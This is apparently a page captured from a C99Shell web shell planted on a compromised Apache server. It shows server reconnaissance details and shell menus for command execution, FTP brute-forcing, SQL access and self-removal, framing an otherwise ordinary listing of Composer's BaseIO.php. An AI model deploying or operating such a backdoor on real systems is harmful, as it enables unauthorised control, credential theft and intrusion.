!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/composer/composer/src/Composer/IO/   drwxr-xr-x
Free 13.24 GB of 57.97 GB (22.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BaseIO.php (8.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\IO;

use 
Composer\Config;
use 
Composer\Util\ProcessExecutor;
use 
Psr\Log\LogLevel;

abstract class 
BaseIO implements IOInterface
{
    protected 
$authentications = array();

    
/**
     * {@inheritDoc}
     */
    
public function getAuthentications()
    {
        return 
$this->authentications;
    }

    
/**
     * {@inheritDoc}
     */
    
public function resetAuthentications()
    {
        
$this->authentications = array();
    }

    
/**
     * {@inheritDoc}
     */
    
public function hasAuthentication($repositoryName)
    {
        return isset(
$this->authentications[$repositoryName]);
    }

    
/**
     * {@inheritDoc}
     */
    
public function getAuthentication($repositoryName)
    {
        if (isset(
$this->authentications[$repositoryName])) {
            return 
$this->authentications[$repositoryName];
        }

        return array(
'username' => null'password' => null);
    }

    
/**
     * {@inheritDoc}
     */
    
public function setAuthentication($repositoryName$username$password null)
    {
        
$this->authentications[$repositoryName] = array('username' => $username'password' => $password);
    }

    
/**
     * {@inheritDoc}
     */
    
public function writeRaw($messages$newline true$verbosity self::NORMAL)
    {
        
$this->write($messages$newline$verbosity);
    }

    
/**
     * {@inheritDoc}
     */
    
public function writeErrorRaw($messages$newline true$verbosity self::NORMAL)
    {
        
$this->writeError($messages$newline$verbosity);
    }

    
/**
     * Check for overwrite and set the authentication information for the repository.
     *
     * @param string $repositoryName The unique name of repository
     * @param string $username       The username
     * @param string $password       The password
     */
    
protected function checkAndSetAuthentication($repositoryName$username$password null)
    {
        if (
$this->hasAuthentication($repositoryName)) {
            
$auth $this->getAuthentication($repositoryName);
            if (
$auth['username'] === $username && $auth['password'] === $password) {
                return;
            }

            
$this->writeError(
                
sprintf(
                    
"<warning>Warning: You should avoid overwriting already defined auth settings for %s.</warning>",
                    
$repositoryName
                
)
            );
        }
        
$this->setAuthentication($repositoryName$username$password);
    }

    
/**
     * {@inheritDoc}
     */
    
public function loadConfiguration(Config $config)
    {
        
$bitbucketOauth $config->get('bitbucket-oauth') ?: array();
        
$githubOauth $config->get('github-oauth') ?: array();
        
$gitlabOauth $config->get('gitlab-oauth') ?: array();
        
$gitlabToken $config->get('gitlab-token') ?: array();
        
$httpBasic $config->get('http-basic') ?: array();
        
$bearerToken $config->get('bearer') ?: array();

        
// reload oauth tokens from config if available

        
foreach ($bitbucketOauth as $domain => $cred) {
            
$this->checkAndSetAuthentication($domain$cred['consumer-key'], $cred['consumer-secret']);
        }

        foreach (
$githubOauth as $domain => $token) {
            
// allowed chars for GH tokens are from https://github.blog/changelog/2021-03-04-authentication-token-format-updates/
            // plus dots which were at some point used for GH app integration tokens
            
if (!preg_match('{^[.A-Za-z0-9_]+$}'$token)) {
                throw new 
\UnexpectedValueException('Your github oauth token for '.$domain.' contains invalid characters: "'.$token.'"');
            }
            
$this->checkAndSetAuthentication($domain$token'x-oauth-basic');
        }

        foreach (
$gitlabOauth as $domain => $token) {
            
$this->checkAndSetAuthentication($domain$token'oauth2');
        }

        foreach (
$gitlabToken as $domain => $token) {
            
$username is_array($token) && array_key_exists("username"$token) ? $token["username"] : $token;
            
$password is_array($token) && array_key_exists("token"$token) ? $token["token"] : 'private-token';
            
$this->checkAndSetAuthentication($domain$username$password);
        }

        
// reload http basic credentials from config if available
        
foreach ($httpBasic as $domain => $cred) {
            
$this->checkAndSetAuthentication($domain$cred['username'], $cred['password']);
        }

        foreach (
$bearerToken as $domain => $token) {
            
$this->checkAndSetAuthentication($domain$token'bearer');
        }

        
// setup process timeout
        
ProcessExecutor::setTimeout((int) $config->get('process-timeout'));
    }

    
/**
     * System is unusable.
     *
     * @param  string $message
     * @param  array  $context
     * @return null
     */
    
public function emergency($message, array $context = array())
    {
        return 
$this->log(LogLevel::EMERGENCY$message$context);
    }

    
/**
     * Action must be taken immediately.
     *
     * Example: Entire website down, database unavailable, etc. This should
     * trigger the SMS alerts and wake you up.
     *
     * @param  string $message
     * @param  array  $context
     * @return null
     */
    
public function alert($message, array $context = array())
    {
        return 
$this->log(LogLevel::ALERT$message$context);
    }

    
/**
     * Critical conditions.
     *
     * Example: Application component unavailable, unexpected exception.
     *
     * @param  string $message
     * @param  array  $context
     * @return null
     */
    
public function critical($message, array $context = array())
    {
        return 
$this->log(LogLevel::CRITICAL$message$context);
    }

    
/**
     * Runtime errors that do not require immediate action but should typically
     * be logged and monitored.
     *
     * @param  string $message
     * @param  array  $context
     * @return null
     */
    
public function error($message, array $context = array())
    {
        return 
$this->log(LogLevel::ERROR$message$context);
    }

    
/**
     * Exceptional occurrences that are not errors.
     *
     * Example: Use of deprecated APIs, poor use of an API, undesirable things
     * that are not necessarily wrong.
     *
     * @param  string $message
     * @param  array  $context
     * @return null
     */
    
public function warning($message, array $context = array())
    {
        return 
$this->log(LogLevel::WARNING$message$context);
    }

    
/**
     * Normal but significant events.
     *
     * @param  string $message
     * @param  array  $context
     * @return null
     */
    
public function notice($message, array $context = array())
    {
        return 
$this->log(LogLevel::NOTICE$message$context);
    }

    
/**
     * Interesting events.
     *
     * Example: User logs in, SQL logs.
     *
     * @param  string $message
     * @param  array  $context
     * @return null
     */
    
public function info($message, array $context = array())
    {
        return 
$this->log(LogLevel::INFO$message$context);
    }

    
/**
     * Detailed debug information.
     *
     * @param  string $message
     * @param  array  $context
     * @return null
     */
    
public function debug($message, array $context = array())
    {
        return 
$this->log(LogLevel::DEBUG$message$context);
    }

    
/**
     * Logs with an arbitrary level.
     *
     * @param  mixed  $level
     * @param  string $message
     * @param  array  $context
     * @return null
     */
    
public function log($level$message, array $context = array())
    {
        if (
in_array($level, array(LogLevel::EMERGENCYLogLevel::ALERTLogLevel::CRITICALLogLevel::ERROR))) {
            
$this->writeError('<error>'.$message.'</error>');
        } elseif (
$level === LogLevel::WARNING) {
            
$this->writeError('<warning>'.$message.'</warning>');
        } elseif (
$level === LogLevel::NOTICE) {
            
$this->writeError('<info>'.$message.'</info>'trueself::VERBOSE);
        } elseif (
$level === LogLevel::INFO) {
            
$this->writeError('<info>'.$message.'</info>'trueself::VERY_VERBOSE);
        } else {
            
$this->writeError($messagetrueself::DEBUG);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--